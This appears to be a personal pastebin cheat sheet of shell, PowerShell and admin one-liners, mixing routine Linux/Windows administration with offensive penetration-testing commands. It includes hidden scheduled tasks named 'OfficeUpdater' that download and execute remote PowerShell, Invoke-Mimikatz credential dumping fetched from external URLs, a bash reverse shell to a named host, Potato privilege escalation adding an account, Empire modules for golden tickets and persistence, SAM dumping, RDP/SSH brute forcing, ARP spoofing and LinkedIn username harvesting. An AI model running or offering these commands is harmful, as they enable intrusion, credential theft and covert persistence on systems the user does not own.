· 10 years ago · Sep 07, 2016, 09:42 AM
1#Want to turn off Retweets from all users you're following without clicking each time? This script sorts that, using a timer to avoid your requests being blocked and returning a 403. Scroll to the bottom of your Following list, paste it into Chrome's console
2
3a=Array.prototype.slice.call(document.querySelectorAll("div.ProfileCard-content div.dropdown"));
4a.forEach(function(e) {e.querySelector("button").click(); e.querySelector("li.retweet-off-text button").click(); })
5
6var interval=setInterval(function(){
7 $('.user-actions.including .retweet-off-text').last().click();
8 if ($('.user-actions.including .retweet-off-text').length<1) {
9 clearInterval(interval);
10 }
11},20000);
12
13
14# ugh unicornscan.. udp fast
15unicornscan -mU -Ir 1000 20.0.0.1:a -v
16
17#john 1337 some place on VM's john.conf file .. ?
18
19l /a /e /l /o /s sa4 se3 sl[1|] so0 ss5
20l /a /e /l /o /s sa@ se3 sl1 so0 ss[$5]
21
22
23
24# MongoDB notes
25mongodump --host 127.0.0.1
26mongo HOSTNAME --eval "printjson(db.getCollectionNames())"
27
28show dbs
29use DB
30db.getName()
31db.getCollectionNames()
32
33
34
35service mongod start
36
37# more masscan
38masscan -p80,8000-8100 10.0.0.0/8
39masscan -p0-65535 --rate 150000 -oL output.txt
40
41masscan -p0-65535 23.239.151.0/24 --rate 150000 -oL output.txt
42
43# playback conf
44/masscan -p0-65535 23.239.151.0/24 --rate 150000 -oL output.txt --echo > scan.conf
45/masscan -c scan.conf
46
47masscan --ports 80,443,22,445,135,139,5900,5800,5901,5801,8080 --rate 150000 -oL 172_masscan_common.txt 172.16.0.0/12
48
49# idea for new and improved smart nmap ? just worry about the last oct guessing .. so .1 .2 .254 .10 .100 etc..
50nmap --max-retries 1 --min-parallelism 100 172.16-31.0-255.1,2,3,4,5,10,20,30,100,254 -sV 172_sV_GUESS --top-ports 20 -T5
51nmap --max-retries 1 --min-parallelism 100 10.0-255.0-255.1,2,3,10,20,30,100,254 -sV 10_sV_GUESS --top-ports 20 -T5
52
53
54# potato PO TAT O ! !!!!!!!!!!!!!!!!!!!!!
55Potato.exe -ip 25.0.0.151 -cmd "c:\\windows\\system32\\cmd.exe /k net user add SUCKITGARY 123QWE#"
56
57
58# you know ...
59
60#(X86) - On User Login
61schtasks /create /tn OfficeUpdaterA /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc onlogon /ru System
62
63#(X86) - On System Start
64schtasks /create /tn OfficeUpdaterB /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc onstart /ru System
65
66#(X86) - On User Idle (30mins)
67schtasks /create /tn OfficeUpdaterC /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc onidle /i 30
68
69#(X64) - On User Login
70schtasks /create /tn OfficeUpdaterA /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc onlogon /ru System
71
72#(X64) - On System Start
73schtasks /create /tn OfficeUpdaterB /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc onstart /ru System
74
75#(X64) - On User Idle (30mins)
76schtasks /create /tn OfficeUpdaterC /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc onidle /i 30
77
78# armitage script for fvwm-crystal / PTF
79cat /usr/local/sbin/armitage
80
81cd /opt/armitage
82
83cat <<EOF> /tmp/armitage_rc
84
85export PATH="$PATH:/pentest/exploitation/metasploit"
86export MSF_DATABASE_CONFIG="/opt/database.yml"
87FvwmCommand Style "*" Lenience
88cd /opt/armitage/
89./armitage
90
91EOF
92
93chmod -R 755 /tmp/armitage_rc
94screen -fa -d -m /tmp/armitage_rc
95
96
97
98#horrid way to json to csv to find sploits or something .. I gave up
99for i in `ls` ;do echo $i;cat $i; done | sed 's/^CVE/BREAKCVE/g' |sed 's/^}CVE/BREAKCVE/g'|egrep -v '(\"summary\")' |sed 's/,/ /g'| egrep -ia '(BREAKCVE|url|exploit|summery|title)' | tr -d '\n' | awk '{gsub("BREAKCVE","\nCVE"); print}'| sed 's/{/,/g' | sed 's/ //g' >out.csv
100
101
102vfeed example
103git pull -f
104./vfeedcli.py -m get_cve CVE-2015-0240
105
106./vfeedcli.py -m json_dump CVE-2015-1761 | egrep -ia '(url|exploit|summary|title)'
107
108
109here is a link to some of my main wordlist:
110
111https://www.amazon.com/clouddrive/share/uBt6kSsUNLUmVl7aqLB5kDC7iJ8zx4eaxVgkar8Mhqw?ref_=cd_ph_share_link_copy
112
113_18_in_1: is about 40gigs uncompressed
114found_2015.txt and 2016: are more recent dumps http://hashes.org/crackers.php
115
116
117reversing and firmware (IOT)
118
119https://security.googleblog.com/2016/03/bindiff-now-available-for-free.html
120
121firmware stuff
122http://wiki.securityweekly.com/wiki/index.php/Reverse_Engineering_Firmware_Primer
123https://github.com/mirror/firmware-mod-kit
124
125
126
127# ettercap duh ..
128
129ettercap -w try1.pcap -T -M ARP /TARGET// /// -P autoadd
130
131
132# tcpdump with some flags
13312:35 < SyncYourDogmas> tcpdump -qns 0 -A -r -
134
135# dump URL with ip src and dst
136tshark -nr dump.pcap -E separator=, -R "http.request.uri " -T fields -e frame.number -e frame.time -e ip.src -e ip.dst -e text
137
138# dont use ....stupid hex outputwith \r in it dump some decoded info and the packet data in hex ascii
139tshark -PVx -r dump.pcap -T text
140
141# Ubuntu auto updates
142apt-get update
143apt-get install unattended-upgrades -y
144dpkg-reconfigure --priority=low unattended-upgrades
145# set Reboot to true
146vi /etc/apt/apt.conf.d/50unattended-upgrades
147unattended-upgrades
148
149
150# ubuntu aunattended rel upgrades
151do-release-upgrade -f DistUpgradeViewNonInteractive
152
153
154# CentOS ... LVM/XFS resize
155lvextend -l 100%VG /dev/mapper/centos-root
156This one extends the filesystem while booted
157xfs_growfs /
158
159# rdp and ssh brute
160ncrack -p rdp -u administrator --pass 'password' -iL in2
161ncrack -p ssh -u root --pass 'root' -iL in
162
163#iftop config
164cat << EOF > ~/iftop.conf
165max-bandwidth: 10M
166port-display: on # Controls display of port numbers.
167port-resolution: yes # Controls conversion of port numbers to service names
168screen-filter: not port 22 # filter out yourself
169EOF
170
171iftop -c ~/iftop.conf
172
173
174
175#plex traffic shape
176
177modprobe sch_htb
178/sbin/tc qdisc del dev eth0 root
179/sbin/iptables -D OUTPUT -t mangle -p tcp --sport 32400 '!' --dst 25.0.0.0/8 -j MARK --set-mark 10
180/sbin/tc qdisc add dev eth0 root handle 1: htb default 20 r2q 50
181/sbin/tc class add dev eth0 parent 1: classid 1:1 htb rate 4mbit ceil 4mbit
182/sbin/tc class add dev eth0 parent 1:1 classid 1:10 htb rate 2mbit ceil 4mbit
183/sbin/tc qdisc add dev eth0 parent 1:10 handle 100: sfq perturb 10
184/sbin/iptables -A OUTPUT -t mangle -p tcp --sport 32400 '!' --dst 25.0.0.0/8 -j MARK --set-mark 10
185/sbin/tc filter add dev eth0 parent 1: prio 3 protocol all handle 10 fw flowid 1:10
186
187## show TC rules
188/sbin/tc -s -d class show dev eth0
189## Show iptables mangle rules
190/sbin/iptables -t mangle -n -v -L
191## Show actual bandwidth being used on 32400
192watch -n 1 /sbin/tc -s -d class show dev eth0
193
194
195##KODI XBMC OSD
196export var1=`df -h | egrep "(\/$|sdb1|sdc1)" | awk '{print $4"|",$6"|"}'|tr -d '\n'`
197wget --header="Content-Type: application/json" --post-data="{\"jsonrpc\":\"2.0\",\"method\":\"GUI.ShowNotification\",\"params\":{\"title\":\"Disk Space\",\"message\":\"$var1\", \"image\":\"<image path or URL to image here>\"},\"id\":1}" http://localhost:9999/jsonrpc
198
199#Wireless Backdoor Creation: Credit http://pwnwiki.io/
200netsh wlan set hostednetwork mode=[allow\|disallow]
201netsh wlan set hostednetwork ssid=<ssid> key=<passphrase> keyUsage=persistent\|temporary
202netsh wlan [start|stop] hostednetwork
203
204# empirepowershell
205
206set Host rmccurdy.myvnc.com
207set Name rmccurdy.myvnc.com
208set Port 443
209execute
210list
211
212
213usemodule privesc/powerup/allchecks
214
215
216
217# disable annoying GWX "Get Windows 10" icon that keeps comming back
218reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\Gwx" /v DisableGwx /t REG_DWORD /d "00000001" /f
219
220
221# linkedin username harvest
222for i in `seq 1 100`
223# max 100 pages or 1000 hits ...filter out in 100 page chunks
224do
225curl {paste the curl command from burp suite from the 1st page button here and take out the '' from the url and replace with "" so you can put page_num=$i } | awk '{gsub("firstName=","\n"); print}' | grep isAjax= | sed 's/\&isAjax=.*//g' | sed 's/&lastName=/,/g'
226echo finished $i sleeping
227sleep 5
228done
229
230
231# linkedin username cleanup regex http://regexr.com/
232\+[A-Z]{1,5}%2E|%2E|%2C|\+[A-Z]{2,5}|\+Jr|\-[A-Z]{2,5}|\+%2F|Van\+|van\+|de\+|den\+|%27|\+[A-Z],|De\+|le\+|\-P
233
234
235
236# popup otify in kodi using webserver enabled API
237export var1=`df -h | egrep "(\/$|sdb1|sdc1)" | awk '{print $4"|",$6"|"}'|tr -d '\n'`
238wget --header="Content-Type: application/json" --post-data="{\"jsonrpc\":\"2.0\",\"method\":\"GUI.ShowNotification\",\"params\":{\"title\":\"Title Goes Here\",\"message\":\"$var1\", \"image\":\"<image path or URL to image here>\"},\"id\":1}" http://localhost:9999/jsonrpc
239
240#fix nm-applet issues
241
242apt-get purge -y hostapd && sudo apt-get purge -y network-manager && sudo apt-get install network-manager
243
244# nmap PTH
245nmap -p U:137,T:139 -script-args -smbuser=mike,smbhash=8846f7eaee8fb117ad06bdd830b7586c. -script=smb-enum-groups -script=smb-enum-users 192.168.52.151
246
247# some nse scripts to run on host
248nmap -oA nse --script discovery,safe,vuln,version 172.16.22.11
249
250# danger NMAP!
251
252updatedb
253locate http-slowloris.nse | xargs rm -Rf
254
255nmap -sV -oA nse --script-args=unsafe=1 --script-args=unsafe --script "auth,brute,discovery,exploit,external,fuzzer,intrusive,malware,safe,version,vuln and not(http-slowloris or http-brute or http-enum or http-form-fuzzer)"
256
257
258# Powershell Empire lulz
259ps
260psinject PID#
261
262usemodule privesc/powerup/allchecks
263
264usemodule privesc/gpp
265
266usemodule credentials/mimikatz/logonpasswords
267
268
269bypassuac
270usemodule privesc/bypassuac_wscript
271usemodule credentials/mimikatz/golden_ticket
272usemodule credentials/mimikatz/silver_ticket
273
274usemodule situational_awareness/network/powerview/share_finder
275set CheckShareAccess
276
277usemodule persistence/userland/registry
278usemodule persistence/userland/schtasks
279
280# CLI searm multi threded downloads
281apt-get install aria2
282aria2c --file-allocation=none -c -x 4 -s 4 -d "./" -i FILEWITHURLS
283
284
285# mount samba ...
286mkdir /media/SSD
287mount -t cifs "//IP\Open Share" /media/SSD -o username=guest,noexec
288
289
290:# monitor HP RAID
291apt-get install hp-health
292apt-get install hpacucli
293apt-get install hponcfg
294
295
296hpacucli ctrl all show status
297hplog -t
298hpacucli ctrl all show config
299
300hpacucli controller all show config detail | grep -A 7 -B 3 Fail | egrep '(Failed|Last|Serial Number|Port)'
301
302
303# dump file list of zip contents
304FOR /F "tokens=* delims=" %%A in ('dir /b /s *.zip') do (C:\usb\media\7zip\7z.exe l -r "%%A" >> listing.txt)
305
306#VeraCrypt mount command line
307"C:\Program Files\VeraCrypt\VeraCrypt.exe" /letter H /v "D:\VMWARE_DONOTDELETE\VC" /auto
308
309# set null password for sudo root and allow null login
310
311usermod -p "" administrator
312cp /etc/pam.d/common-auth /etc/pam.d/common-auth.BK
313sed 's/nullok_secure/nullok/g' /etc/pam.d/common-auth.BK > /etc/pam.d/common-auth
314
315
316# disable ubuntu update
317sudo killall update-notifier
318sudo mv /usr/bin/update-notifier /usr/bin/update-notifier.real
319echo -e '#!/bin/bash\nwhile :; do /bin/sleep 86400; done' | sudo tee /usr/bin/update-notifier
320sudo chmod 755 /usr/bin/update-notifier
321
322#greenbone opvnvas
323https://launchpad.net/~mrazavi
324
325stall OpenVAS 8 in Ubuntu 14.04 using PPA
326You can install OpenVAS 8 in Ubuntu 14.04 using this ppa:
327
328https://launchpad.net/~mrazavi/+archive/ubuntu/openvas
329
330$ sudo add-apt-repository ppa:mrazavi/openvas
331$ sudo apt-get update
332$ sudo apt-get install openvas
333
334You have to update openvas scripts/data after installation with the following commands:
335
336sudo apt-get install sqlite3
337sudo openvas-nvt-sync
338sudo openvas-scapdata-sync
339sudo openvas-certdata-sync
340
341sudo service openvas-scanner restart
342sudo service openvas-manager restart
343sudo openvasmd --rebuild --progress
344
345Login into https://localhost:443 with "admin" as username and password.
346
347
348# Burp Suite (copy as curl command)
349# remove the -i -s and add -o output.ext
350curl -i -s -k -X 'GET' -H 'User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0' -b 'AUTH_rttf3AAAAAAAonce=c54AAAadr6a' 'https://doc-0'
351
352
353
354# /etc/shadow password 'password' root
355$6$FV9lt0.l$Yi4d1ayIv48jrcQVAMuIDwchY5Ra7Dmd/ps9IcgiDJBZkQdukPAcoauGNcY5umvb56Kw3e7GZ/HyJJNDCKEZ1/
356
357REGEXP FOR CLASS A NETWORKS :
358(10)(\.([2][0-5][0-5]|[1][0-9][0-9]|[1-9][0-9]|[0-9])){3}
359
360REGEXP FOR CLASS B NETWORKS :
361(172)\.(1[6-9]|2[0-9]|3[0-1])(\.([2][0-5][0-5]|[1][0-9][0-9]|[1-9][0-9]|[0-9])){2}
362
363REGEXP FOR CLASS C NETWORKS :
364(192)\.(168)(\.([2][0-5][0-5]|[1][0-9][0-9]|[1-9][0-9]|[0-9])){2}
365
366# CDP SSDP
367nmap --script broadcast-listener --script-args=broadcast-listener.timeout=60 -oA broadcast_listener
368
369# better ?
370nmap --script discovery --script-args=broadcast-listener.timeout=60 -oA broadcast_listener_discovery
371
372#Temporary Switch gateway script:
373
374Close all browsers ( DNS cache in browsers ... I know right )
375Flush DNS cache so we don.t have any DNS issues ... ( or better yet disable DNS caching ... )
376ipconfig /flushdns
377
378Backup current GW settings ..
379for /f "tokens=2,3 delims={,}" %%a in ('"WMIC NICConfig where IPEnabled="True" get DefaultIPGateway /value | find "I" "') do set GW1=%%~a
380
381REM set GW to always tunnel GW ...
382route delete 0.0.0.0
383route add 0.0.0.0 mask 0.0.0.0 YOUR_GATEWAY_IP_HERE
384
385
386Check your IP changed
387start http://rmccurdy.com/ip.php
388
389echo Press any key to reset GW back to Default
390pause
391
392ipconfig /flushdns
393
394route delete 0.0.0.0
395route add 0.0.0.0 mask 0.0.0.0 %GW1%
396
397#Rename your Wireless adapter to WIFI to set DHCP:
398netsh interface ipv4 set address name="WIFI" dhcp
399netsh interface ipv4 set dnsservers name="WIFI" source=dhcp
400
401#Set Wireless adapter name to WIFI for static settings for IP, Route and DNS1 and DNS2:
402netsh interface ipv4 set address name="WIFI" dhcp
403netsh interface ipv4 set dnsservers name="WIFI" source=dhcp
404netsh interface ipv4 set address name="LAN" source=static address=10.0.0.XXX mask=255.255.255.0 gateway=10.0.0.1
405netsh interface ipv4 add dnsserver name="LAN" address=4.2.2.2 index=1
406netsh interface ipv4 add dnsserver name="LAN" address=198.6.1.2 index=2
407
408# dump configs from firewall list using putty and input scripts
409for i in `cat CHECK_22`
410do
411./putty.exe -ssh username@$i -pw passwordgoeshere -m PUTTY_SCRIPT
412done
413
414PUTTY_SCRIPT:
415enable
416passwordgoeshere
417passwordgoeshere
418more system:running-config
419
420<--- bunch of blank spaces here to get around MORE ----->
421
422quit
423exit
424
425# zmap scans
426sed -i 's/^black/#black/' /etc/zmap/zmap.conf
427zmap -M icmp_echoscan -B 1G -P 1 -T 100 -w net_only_big.txt -o net_only_big.csv
428zmap -p 80 -B 90MB -P 1 -T 50 -w in -o scope.csv
429
430# sort ips logicly and show counts of class C to find host ranges that return all as UP
431sort -n -t . -k 1,1 -k 2,2 -k 3,3 -k 4,4 | sed 's/\.[0-9]\{1,3\}$//g' | uniq -c | sort -n
432
433# faster nmap
434nmap -n -sn -PE -T5 --max-retries 1 --min-parallelism 100 -iL scope.txt -oA scope
435
436
437
438#p0f
439p0f -i eth0 -p -o ./p0f.log
440
441#reboot mac apple
442shutdown -r now
443osascript -e 'tell app "System Events" to restart'
444# shutdown ..
445osascript -e 'tell app "System Events" to shut down'
446
447# sanitize passwords
448awk 'BEGIN {FS=":"}; {printf "%s:%s%s%s\n", $1, substr($2,0,1), "***", substr($2,length($2),1)}'
449
450echo '8846f7eaee8fb117ad06bdd830b7586c:password'|sed 's/^\(.*:.\).*\(.\)$/\1****\2/'
451
452
453# local sam dump via shell hash
454reg SAVE HKLM\SAM sam
455reg save HKLM\SYSTEM sys
456
457bkhive sys key
458samdump2 sam key > hash
459
460# smb mount ubuntu
461//servername/sharename /media/windowsshare cifs username=msusername,password=mspassword,iocharset=utf8,sec=ntlm 0 0
462
463
464
465
466#autohotkey anti idle moves mouse every 58ish seconds
467
468#InstallMouseHook
469F7::
470loop, 999 {
471tooltip, WAKEUPFOOL
472MouseMove, -1, 0 , 10, R ;around it's starting position
473sleep,1000
474tooltip,
475sleep, 57000
476}
477
478
479return
480
481# unicornscan ..
482
483unicornscan -L 10 -R 2 -r 1000 -p 21,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5900,8080 `cat in`
484
485#mimikatz bypass AV dump creds
486powershell "IEX (New-Object Net.WebClient).DownloadString('http://is.gd/oeoFuI'); Invoke-Mimikatz -DumpCreds"
487powershell "IEX (New-Object Net.WebClient).DownloadString('http://185.12.45.93/scripts/downloaded/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds"
488powershell "IEX (New-Object Net.WebClient).DownloadString('http://is.gd/oeoFuI'); Invoke-Mimikatz -DumpCreds -ComputerName @('computer1', 'computer2')"
489
490# chown chmod for windows run as system or administrator
491takeown /F "%CD%" /R
492
493icacls "%CD%" /GRANT Users:F /T
494cacls "%CD%" /E /T /C /G Users:F
495
496
497#sexy looking diff thanks to https://github.com/briangerard/my_env
498function mydiff () {
499cols=`stty size | awk '{print $2}'`
500diff --side-by-side --left-column --width=$cols --ignore-all-space $1 $2
501}
502
503#fix windows errors maybe ..
504run sfc /SCANNOW /OFFBOOTDIR=d:\ /OFFWINDIR=d:\windows
505
506# MSSQL HELL
507Open SQL Server Management studio, right click on the database and choose 'Tasks->Generate Scripts...'
508
509Then use the wizard to backup the database. You can script the whole database or parts of it. Two important options: In the 'Advanced' section, you will probably want to ensure 'Type of backup = 'Schema and Data' and the 'Script Statistics' is on.
510
511
512# create CSV of redable files in a path and info on the files using the file() command
513find . -exec file '{}' \; > /tmp/file.txt
514sed 's/,/_/g' /tmp/file.txt | sed 's/:/,/g' > file.csv
515
516
517#vmware convert ovf ovftool
518ovftool RW2\ Dev.ovf what.vmx --skipManifestCheck --skipManifestGeneration
519
520#virtual box vbox mount share
521mkdir /s
522mount -t vboxsf delete /s/
523
524# run cmd.exe as administrator !
525net user /del samid
526dsadd user "CN=FIRST LAST,OU=OUGROPNAMEHERE,DC=FISTPARTOFDOMAIN,DC=MIDDLEPART,DC=LASTPART_COMMA_FOR_EACH_DOT_IN_THE_FQDN" -samid SAMID -fn "FIRST" -ln "LAZST" -email FLast@DOMAIN.com -desc "LAST, FIRST" -pwd PASSWORD
527net group /add "OUGROPNAMEHERE" samid /domain
528
529
530# word press scan notes
531wpscan.rb --follow-redirection --url TARGET --enumerate vp
532wpscan.rb --follow-redirection --url TARGET --enumerate vt
533wpscan.rb --follow-redirection --url TARGET --wordlist 500.txt --username admin
534wpscan.rb --follow-redirection --url TARGET --enumerate u
535
536
537
538
539# Change file timestamp in Windows Sometimes you need to modify a file’s timestamp and don’t want to change the content of the file. Copy command has an easy way to do it:
540copy /b filename.ext +,,
541
542
543# excell hell
544
545# Split long col into 7 equal col
546Sub SplitIntoCellsPerColumn()
547Range("B2:H1894").ClearContents
548 Dim X As Long, LastRow As Long, vArrIn As Variant, vArrOut As Variant
549 LastRow = Cells(Rows.Count, "A").End(xlUp).Row
550 numofrows = LastRow / 7
551 numofrows_rundup = Round_Up(numofrows)
552 vArrIn = Range("A1:A" & LastRow)
553 ReDim vArrOut(1 To numofrows_rundup, 1 To Int(LastRow / numofrows_rundup) + 1)
554 For X = 0 To LastRow - 1
555 vArrOut(1 + (X Mod numofrows_rundup), 1 + Int(X / numofrows_rundup)) = vArrIn(X + 1, 1)
556 Next
557 Range("B2").Resize(numofrows_rundup, UBound(vArrOut, 2)) = vArrOut
558
559 Range("A:A").ClearContents
560
561End Sub
562
563
564Function Round_Up(ByVal d As Double) As Integer
565 Dim result As Integer
566 result = Math.Round(d)
567 If result >= d Then
568 Round_Up = result
569 Else
570 Round_Up = result + 1
571 End If
572End Function
573
574
575# The length of the IP string and the first octet delineator
576=LEN(D6)
577=FIND(".",D6)
578
579#Octet 1
580=LEFT(D6,FIND(".",D6)-1)
581
582#Octets 2-4
583=RIGHT(D6,(LEN(D6)-FIND(".",D6)))
584
585#Octet 2
586=LEFT(RIGHT(D6,(LEN(D6)-FIND(".",D6))),FIND(".",RIGHT(D6,(LEN(D6)-FIND(".",D6))))-1)
587
588# Location of the second "."
589=FIND(".",RIGHT(D6,(LEN(D6)-FIND(".",D6))))
590
591#Length of last three octets
592=LEN(RIGHT(D6,(LEN(D6)-FIND(".",D6))))
593
594#Lenght of the last two octets
595=LEN(RIGHT(D6,(LEN(D6)-FIND(".",D6))))-FIND(".",RIGHT(D6,(LEN(D6)-FIND(".",D6))))
596
597#Octets 3-4
598=RIGHT(RIGHT(D6,(LEN(D6)-FIND(".",D6))),LEN(RIGHT(D6,(LEN(D6)-FIND(".",D6))))-FIND(".",RIGHT(D6,(LEN(D6)-FIND(".",D6)))))
599
600#Location of the third "."
601=FIND(".",RIGHT(RIGHT(D6,(LEN(D6)-FIND(".",D6))),LEN(RIGHT(D6,(LEN(D6)-FIND(".",D6))))-FIND(".",RIGHT(D6,(LEN(D6)-FIND(".",D6))))))
602
603#Octet 3
604=LEFT(RIGHT(RIGHT(D6,(LEN(D6)-FIND(".",D6))),LEN(RIGHT(D6,(LEN(D6)-FIND(".",D6))))-FIND(".",RIGHT(D6,(LEN(D6)-FIND(".",D6))))),FIND(".",RIGHT(RIGHT(D6,(LEN(D6)-FIND(".",D6))),LEN(RIGHT(D6,(LEN(D6)-FIND(".",D6))))-FIND(".",RIGHT(D6,(LEN(D6)-FIND(".",D6))))))-1)
605
606#Octet 4
607=RIGHT(RIGHT(RIGHT(D6,(LEN(D6)-FIND(".",D6))),LEN(RIGHT(D6,(LEN(D6)-FIND(".",D6))))-FIND(".",RIGHT(D6,(LEN(D6)-FIND(".",D6))))),(LEN(RIGHT(D6,(LEN(D6)-FIND(".",D6))))-FIND(".",RIGHT(D6,(LEN(D6)-FIND(".",D6))))-FIND(".",RIGHT(RIGHT(D6,(LEN(D6)-FIND(".",D6))),LEN(RIGHT(D6,(LEN(D6)-FIND(".",D6))))-FIND(".",RIGHT(D6,(LEN(D6)-FIND(".",D6))))))))
608
609#Last Octet with incremented (by 1) host IP
610=TEXT((VALUE(RIGHT(RIGHT(RIGHT(D6,(LEN(D6)-FIND(".",D6))),LEN(RIGHT(D6,(LEN(D6)-FIND(".",D6))))-FIND(".",RIGHT(D6,(LEN(D6)-FIND(".",D6))))),(LEN(RIGHT(D6,(LEN(D6)-FIND(".",D6))))-FIND(".",RIGHT(D6,(LEN(D6)-FIND(".",D6))))-FIND(".",RIGHT(RIGHT(D6,(LEN(D6)-FIND(".",D6))),LEN(RIGHT(D6,(LEN(D6)-FIND(".",D6))))-FIND(".",RIGHT(D6,(LEN(D6)-FIND(".",D6)))))))))+1),"0")
611
612#Reassembly of the new IP address, the number +2, near the end of the string is the amount the host address will be incremented by
613=CONCATENATE(LEFT($D6,FIND(".",$D6)-1),".",LEFT(RIGHT($D6,(LEN($D6)-FIND(".",$D6))),FIND(".",RIGHT($D6,(LEN($D6)-FIND(".",$D6))))-1),".",LEFT(RIGHT(RIGHT($D6,(LEN($D6)-FIND(".",$D6))),LEN(RIGHT($D6,(LEN($D6)-FIND(".",$D6))))-FIND(".",RIGHT($D6,(LEN($D6)-FIND(".",$D6))))),FIND(".",RIGHT(RIGHT($D6,(LEN($D6)-FIND(".",$D6))),LEN(RIGHT($D6,(LEN($D6)-FIND(".",$D6))))-FIND(".",RIGHT($D6,(LEN($D6)-FIND(".",$D6))))))-1),".",TEXT((VALUE(RIGHT(RIGHT(RIGHT($D6,(LEN($D6)-FIND(".",$D6))),LEN(RIGHT($D6,(LEN($D6)-FIND(".",$D6))))-FIND(".",RIGHT($D6,(LEN($D6)-FIND(".",$D6))))),(LEN(RIGHT($D6,(LEN($D6)-FIND(".",$D6))))-FIND(".",RIGHT($D6,(LEN($D6)-FIND(".",$D6))))-FIND(".",RIGHT(RIGHT($D6,(LEN($D6)-FIND(".",$D6))),LEN(RIGHT($D6,(LEN($D6)-FIND(".",$D6))))-FIND(".",RIGHT($D6,(LEN($D6)-FIND(".",$D6)))))))))+2),"0"))
614
615
616# IP | HOSTNAME to IP (HOSTNAME) in one cell in excel
617=CONCATENATE(A9,(IF(ISBLANK(B9),""," ("&B9&")")))
618
619# Mount all NFS shares on a remote host with input file nfs as hosts to mount
620for i in `cat nfs`
621do
622mkdir /nfs
623
624
625for j in `showmount -e $i |awk '{print $1}'`
626do
627var1=$RANDOM
628mkdir /nfs/$i_$var1
629mount -t nfs $i:$j /nfs/$i_$var1
630done
631
632
633done
634
635# example PII search CC and SSN with dashes and max results 10 per file
636find . -maxdepth 6 -size -100000k -type f -exec egrep --max-count 10 -A 2 -B 2 -Hia "\b4[0-9]{12}(?:[0-9]{3})?\b|\b5[1-5][0-9]{14}\b|\b6011[0-9]{14}\b|\b3(?:0[0-5]\b|\b[68][0-9])[0-9]{11}\b|\b3[47][0-9]{13}\b|\b[0-9]{3}-[0-9]{2}-[0-9]{4}\b" '{}' \;
637
638# head all files for passwords gonig 6 deep ( peeking into all files not just small ones .. )
639find . -maxdepth 6 -type f -exec head -c 100000 '{}' \; |egrep -Hia -A 4 -B 4 passw
640
641# find passwords 6 deep and less then 1m adding padding so you can see username/hostname info before or after the password field ..
642find . -maxdepth 6 -size -100000k -type f -exec egrep -A 4 -B 4 -Hia passw '{}' \;
643
644
645# can't read ? what is wrong with you ??? find readable files...
646find . -readable -type f
647
648# do a quick tree dump 3 levels deep of folders
649find . -maxdepth 3 \( -path /opt -o -path /proc -o -path /tmp \) -prune -o -type d
650
651
652# auto login tty1
653vi /etc/init/tty1.conf
654exec /bin/login -f administrator < /dev/tty1 > /dev/tty1 2>&1
655
656# startx to fvwm-crystal
657apt-get install xinit -y
658echo 'exec fvwm-crystal' > ~/.xinitrc
659
660# install stuff
661apt-get install build-essential libssl-dev partimage gparted lynx links curl nmap iotop screen medusa wireshark macchanger -y
662
663
664#force umount
665umount -l /mnt/myfolder
666umount -f -l /mnt/myfolder
667
668
669#Clipboard Copy and Paste does not work in vSphere Client
670#Options > Advanced > General and click Configuration Parameters. Click Add Row.
671
672isolation.tools.copy.disable FALSE
673isolation.tools.paste.disable FALSE
674
675
676
677#VLC convert transcoding
678vlc $1 -I dummy "./$a" --sout "#transcode{width=320,height=240 ,vcodec=mp1v,acodec=mpga,vb=128,ab=128,deinterlace}:standard{mux=ts,dst=\"./Trans_$1\",access=file}" vlc://quit
679
680
681# ref http://en.wikipedia.org/wiki/Setuid
682# find Setuid world writable files
683find / \( \( -perm -4000 -o -perm -2000 -type f \) -and \( -perm -0002 -o -perm -0020 \) \) -type f -ls
684
685
686find . -perm 777 -exec chmod 755 {} \;
687find / -perm 777 -type d
688
689#sort char by lenth
690#! /bin/sh
691awk 'BEGIN { FS=RS }
692{ print length, $0 }' $* |
693# Sort the lines numerically
694sort +0n -1 |
695# Remove the length and the space and print each line
696sed 's/^[0-9][0-9]* //'
697
698
699# imagemagik convert create TN
700IFS=$'\n' ;for img in `ls *.jpg` ; do convert -sample 256 -quality 90 '$img" "$img" ;done
701
702# du disk usage sort
703du -k * | sort -nr | cut -f2 | xargs -d '\n' du -sh
704
705
706#rev shell
707nc -l -p 8080 -vvv
708bash -i >& /dev/tcp/rmccurdy.com/8080 0>&1
709
710
711#nagios
712-c CheckEventLog -a file=application MaxWarn=1 MaxCrit=1 filter=new filter+generated=\<1d filter+eventID==208 truncate=120 filter+eventType==warning
713
714# IPFW limit max connects to 2
715allow tcp from any 80 to any out via dc0 limit dst-addr 2
716
717# rm remove empty files
718find . -depth -empty -type d -exec rmdir {} \;
719
720
721
722
723ps aux --sort -rss |head -n 25
724
725# crack all ILO default hashes -12min on laptop from MSF dump IPMI hashes tool
726./hashcat-cli64.exe --remove --outfile=batchcrack.out -m 7300 hashes.txt -a 3 ?d?d?d?d?d?d?d?d
727
728
729# hashcat .. IPMI syntax
